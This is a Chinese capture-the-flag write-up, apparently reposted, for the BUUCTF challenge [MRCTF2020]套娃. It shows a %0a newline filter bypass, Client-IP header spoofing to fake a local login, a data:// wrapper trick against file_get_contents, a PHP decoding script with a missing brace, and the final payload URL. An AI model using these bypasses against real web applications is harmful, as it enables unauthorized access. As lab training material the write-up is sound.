码迷,mamicode.com
首页 > 其他好文 > 详细

BUUCTF-[MRCTF2020]套娃 wp

时间:2020-09-17 23:06:04      阅读:36      评论:0      收藏:0      [点我收藏+]

标签:添加   time   脚本   需要   并且   cli   ++   参考   赛事   

查看源码发现提示

技术图片

 

 使用b u p t%0a换行污染绕过,发现secrettw.php

技术图片

 

 

进入secrettw.php后发现需要本地登录,使用Client-IP绕过

技术图片

 

 技术图片

 

 技术图片

 

 发现jsfuck,解密后为Post me Merak,于是在包中添加一个Merak参数,得到源码

技术图片

 

 我们可以使用data://伪协议绕过file_get_contents函数,并且写一个脚本解密change函数

 

脚本:

 

<?php

function change($v){

    $v = base64_decode($v);

    $re = ‘‘;

    for($i=0;$i<strlen($v);$i++){

        $re .= chr ( ord($v[$i]) + $i*2 );

    }

    return $re;

function dechange($v){

$re = ‘‘;

for($i=0;$i<strlen($v);$i++){

        $re .= chr ( ord($v[$i]) - $i*2 );

    }

echo base64_encode($re)."<br>";

return $re;

}

$a = dechange(‘flag.php‘);

?>

 

运行脚本后得到ZmpdYSZmXGI=

 

paload:7849b05d-fdf9-4e38-ae4f-347846f85d87.node3.buuoj.cn/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=,再使用Client-ip修改一下ip查看源码可得flag

技术图片

 

 

参考:

https://www.ctfwp.com/官方赛事题/2020MRCTF

 

 

 

 

BUUCTF-[MRCTF2020]套娃 wp

标签:添加   time   脚本   需要   并且   cli   ++   参考   赛事   

原文地址:https://www.cnblogs.com/Yhck/p/13657131.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!